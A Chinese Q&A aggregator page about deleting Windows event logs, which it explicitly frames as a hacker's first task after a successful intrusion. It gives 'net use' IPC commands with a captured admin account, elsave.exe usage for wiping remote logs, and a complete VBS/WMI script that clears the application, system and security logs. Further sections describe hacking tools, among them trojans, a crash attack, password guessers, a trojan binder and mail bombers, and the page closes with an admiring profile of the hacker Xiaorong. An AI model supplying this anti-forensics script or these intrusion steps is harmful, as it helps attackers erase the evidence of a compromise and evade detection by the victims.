首页 > 魔秘法略 > 程序介绍 > 求一段删除windows日志文件的vbs脚本 内容详情

求一段删除windows日志文件的vbs脚本

靖代天

今天魔秘法略给大家带来有关小榕软件的内容,以下关于求一段删除windows日志文件的vbs脚本的观点希望能帮助到您找到想要的答案。

求一段删除windows日志文件的vbs脚本

求一段删除windows日志文件的vbs脚本

一个入侵系统成功后的黑客第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在m命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,下面介绍几种方法:

1.借助第三方工具:如小榕的elsave.exe远程清除system,applicaton,security的软件,使用方法很简单,首先利用获得的管理员账号与对方建立ipc会话,net use \\ip pass /user: user

然后命令行下:elsave -s \\ip -l application -C,这样就删除了安全日志。

其实利用这个软件还可以进行备份日志,只要加一个参数 -f filename就可以了,在此不再详述。

2.利用脚本编程中的VMI,也可以实现删除日志,首先获得object对象,然后利用其clearEventLog() 方法删除日志。源代码:

cleanevent.vbs

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate,(Backup)}!\\" & _

strComputer & "\root\cimv2")

dim mylogs(3)

mylogs(1)="application"

mylogs(2)="system"

mylogs(3)="security"

for Each logs in mylogs

Set colLogFiles = objWMIService.ExecQuery _

("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")

For Each objLogfile in colLogFiles

objLogFile.ClearEventLog()

Next

next

在上面的代码中,建立一个数组,为application,security,system如果还有其他日志也可以加入数组。

然后用一个for 循环,删除数组中的每一个元素,即各个日志.

黑客常用工具有哪些

冰河

冰河是最优秀的国产木马程序之一,同时也是被使用最多的一种木马 。说句心里话,如果这个软件做成规规矩矩的商业用远程控制软件,绝对不会逊于那个体积庞大、操作复杂的PCanywhere,但可惜的是,它最终变成了黑客常用的工具。

Wnuke

Wnuke可以利用Windows系统的漏洞, 通过TCP/IP协议向远程机器发送一段信息,导致一个OOB错误,使之崩溃。现象:电脑屏幕上出现一个蓝底白字的提示:“系统出现异常错误”,按ESC键后又回到原来的状态,或者死机。它可以攻击WIN9X、WINNT、WIN2000等系统,并且可以自由设置包的大小和个数,通过连续攻击导致对方死机。

Shed

Shed是基于NetBIOS的攻击Windows的软件。NetBIOS(Network Basic Input Output System,网络基本输入输出系统),是一种应用程序接口(API),作用是为局域网(LAN)添加特殊功能,几乎所有的局域网电脑都是在NetBIOS基础上工作的。在我们的Windows 95、99、或Me中,NetBIOS是和TCP/IP捆绑在一起的,这是十分危险的!但当我们安装TCP/IP协议时,默认情况下NetBIOS和它的文件与打印共享功能也一起被装进了系统。当NetBIOS运行时,你的后门打开了:因为NetBIOS不光允许局域网内的用户访问你的硬盘资源,Internet上的黑客也能!Shed正是利用了这一点

溯雪

溯雪还是小榕的作品。该软件利用asp、cgi对免费信箱、论坛、聊天室进行密码探测的软件。密码探测主要是通过猜测生日的方法来实现,成功率可达60%-70%。溯雪的运行原理是通过提取asp、cgi页面表单,搜寻表单运行后的错误标志,有了错误标志后,再挂上字典文件来破解信箱密码。用溯雪来探测信箱密码真的是很容易,由于许多人对密码的设置采用了自己的生日或常用英文单词等较简单的方式,这给溯雪留下了很大的施展空间。我曾用自己的信箱做过试验,采用生日作为密码,溯雪只用了不到3分钟就成功的破解出了我的密码!要知道我用的字典很大,若字典再小些,会更快的!

流光

流光这是国人小榕的作品,当我首次使用这个软件时,我被它深深地震住了。这个软件能让一个刚刚会用鼠标的人成为专业级黑客,它可以探测POP3、FTP、HTTP、PROXY、FORM、SQL、SMTP、IPC$ 上的各种漏洞,并针对各种漏洞设计了不同的破解方案,能够在有漏洞的系统上轻易得到被探测的用户密码。流光对WIN9X、WINNT、WIN2000上的漏洞都可以探测,使它成为许多黑客手中的必备工具之一,一些资深黑客也对它青睐有加。

ExeBind

ExeBind可以将指定的黑客程序捆绑到任何一个广为传播的热门软件上,使宿主程序执行时,寄生程序(黑客程序)也在后台被执行。当您再次上网时,您已经在不知不觉中被控制住了。您说这个文件捆绑专家恐怖不而且它支持多重捆绑。实际上是通过多次分割文件,多次从父进程中调用子进程来实现的。现象:几乎无。危害:NetSpy、HDFILL、BO 2000常通过这种形式在Internet上寄生传播。如果有一天您收到一个不相识的人发来的不错的程序,请仔细检查一下,因为没准它是用ExeBind捆绑了木马程序!

Superscan

是一个功能强大的扫描器,奇快,探测台湾全部回应值小于200MS的IP段仅用6个小时。可以查看本机IP地址和域名,扫描一个IP段的所有在线主机以及其可探测到的端口号。而且可以保存和导入所有已探测的信息。

HackerScan

邮箱终结者类似的邮箱炸弹很多,它们的原理基本一致,最根本的目标就是涨破您的邮箱,使您无法正常收发E-mail。

c语言做出的程序都能干什么?一般黑客编写的入侵和攻击程序用的是什么语言?

C语言最大的应用就是写操作系统和驱动程序还有其他嵌入式系统的程序,学习程序设计选选择C是很好的,掌握的一定程度再学C++,java等就容易一些.

黑客工具的开发语言很多了,用java好像没听说,很多小工具是直接用的汇编,小榕暴强的扫描工具"流光"是C++ Builder开发的,现在很多菜鸟黑客甚至用中文编程语言(易语言)来开发一些工具软件.

流光的作者小榕的真名叫什么,是什么大学毕业的?有认识他或者和他大学校友的么?

小榕 小榕

网名:小榕

性别:男

年纪:37

婚姻:已婚

资力:中国CAD/CAM协会会员,高级程序员

格言:无论在现实或是网络中,我都是孤独的……

黑客原则:不能仇视社会,不能给别人制造麻烦,不能给别人带来损失。有人对黑客这样评价:黑客是一种不断研究不断探索的境界。

============================================================

无可否认,小榕永远是中国黑客/安全界的骄傲!

小榕,1972年出生,据小榕自己说,他从小就是一个调皮的家伙,看看他的自我介绍:

小学三年级因倒卖指南针(我一毛钱买进,一块钱卖出),被学校警告。

小学六年级给同班女同学写情书,未果。

初一曾经在夜里披着草席爬进公厕(男厕),把一个正在出恭的老头吓得失足……

初二第一次约女同学看电影《斯巴达克斯》,中途被告知“恐怖”,女同学提前退场,我一个人坚持看完了电影。

初二加入了中国篆刻家协会。

初三因为拆自行车零件(别人的)被派出所护送回家。

高一和小混混一块寻衅滋事被街道派出所传唤一次,也是在那个时候学会了吸烟。

进入了一所树没草高、男比女多的工科大学。

大一上学期高等数学上册补考一次。

大一下学期高等数学上册再补考一次。

大一下学期普通物理补考一次。

毕业前普通物理再补考一次。

加入了中国CAD/CAM协会。

最后以“排名30名,本班共31人”(《毕业推荐书》上的原话)的成绩毕业。

1996年第一次上网。

1997年春节第一次破解了别人的账号

1997年夏天和别人打架,脸上留下了永远的痕迹

1998年通过了高级程序员水平考试

1999年开始写扫描/破解类软件

至今还在哭泣……

===========================================================

呵呵,不管怎么说,小榕无庸质疑是国内目前的顶级黑客,他开发的流光软件是众多小“黑客”必用的软件之一。

父亲(已去世)是大学教授的小榕,对黑客的道德观认识得很清楚:黑客像美国西部开发时的牛仔,没有法律的约束,但却有自己的做事准则。黑客要有道德底线,小榕的三条做黑客原则:不能仇视社会,不能给别人制造麻烦,不能给别人带来损失。有人对黑客这样评价:黑客是一种不断研究不断探索的境界。

小榕的工具是因为一个扫描工具。"流光"许多接触过黑客工具的无一不知道小榕的。

小榕说,“通往电脑的道路不只一条,就看你怎么走”。 “只要我敲键盘的足够快,可以一天黑掉100个网站”小榕曾经在一个月里进入1000家网站,并找出其中的漏洞。小榕的名字在网上非常响亮,这倒不是因为他黑过谁,而是因为他发布了许多杀伤力巨大而又及易上手Hack工具。小榕轻易不出刀,他只负责提供刀具。

呵呵,但不管怎么说,小榕无庸质疑的是国内目前的顶级黑客,他开发的流光软件是众多小“黑客”必用的软件之一。

相关